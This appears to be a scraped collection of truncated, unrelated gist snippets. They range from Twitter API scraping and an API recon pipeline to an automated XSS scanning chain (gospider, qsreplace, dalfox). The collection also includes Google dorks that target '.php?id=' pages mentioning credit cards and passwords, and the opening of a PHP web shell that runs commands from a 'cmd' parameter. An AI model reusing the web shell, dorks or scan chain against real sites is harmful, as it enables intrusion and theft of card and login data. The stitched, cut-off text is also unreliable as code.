| wget https://gist.githubusercontent.com/nullenc0de/bb16be959686295b3b1caff519cc3e05/raw/2016dc0e692821ec045edd5ae5c0aba5ec9ec3f1/api-linkfinder.yaml | |
| echo https://stripe.com/docs/api | hakrawler -t 500 -d 10 |nuclei -t ./linkfinder.yaml -o api.txt | |
| cat api.txt |grep url_params |cut -d ' ' -f 7 |tr , '\n' | tr ] '\n' | tr [ '\n' |tr -d '"' |tr -d "'" |sort -u > api_params.txt | |
| cat api.txt |grep relative_links |cut -d ' ' -f 7 |tr , '\n' | tr ] '\n' | tr [ '\n' |tr -d '"' |tr -d "'" |sort -u > api_link_finder.txt |
| id: api-linkfinder | |
| info: | |
| name: API Recon | |
| author: nullenc0de | |
| severity: info | |
| tags: file | |
| requests: | |
| - method: GET |
| # Query | |
| query = "SuperLeague OR #SuperLeague -filter:retweets" | |
| def collect_tweets(query, max_id=None, nitems=100, until=None, result_type='recent'): | |
| if until is not None: | |
| tweets = tweepy.Cursor(api.search, | |
| q=query, | |
| lang="en", | |
| tweet_mode="extended", |
#cat targets_urls.txt
http://public-firing-range.appspot.comgospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe -o result.txt
| from flask import Flask | |
| from flask_restful import Resource, Api, reqparse | |
| from com.android.monkeyrunner import MonkeyRunner, MonkeyDevice | |
| from apscheduler.schedulers.background import BackgroundScheduler | |
| import time | |
| import subprocess | |
| app = Flask(__name__) | |
| api = Api(app) |
| """ | |
| Scratch pad for experimenting with the twitter API. | |
| """ | |
| import base64 | |
| import os | |
| import requests | |
| from requests_oauthlib import OAuth1 | |
| """ | |
| SECRETS |
| 0 | |
| 00 | |
| 01 | |
| 02 | |
| 03 | |
| 1 | |
| 1.0 | |
| 10 | |
| 100 | |
| 1000 |
| ntext:"bri".php?id= intext:"Credit Card" site:.com | |
| intext:"kartu kredit".php?id= intext:"Username" site:.com | |
| intext:"bayar dengan kartu kredit".php?id= intext:"Password" site:.com | |
| intitle:"bayar dengan kartu kredit".php?id= title:shop intext:"Credit Card" site:.com | |
| intitle:"human".php?id= title:education intext:"Username" site:.com | |
| intitle:"Publications".php?id= title:login intext:"Password" site:.com | |
| intitle:"project".php?id= title:join intext:"Username" site:.com | |
| intitle:"trade".php?id= title:orders intext:"Username" site:.com |
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
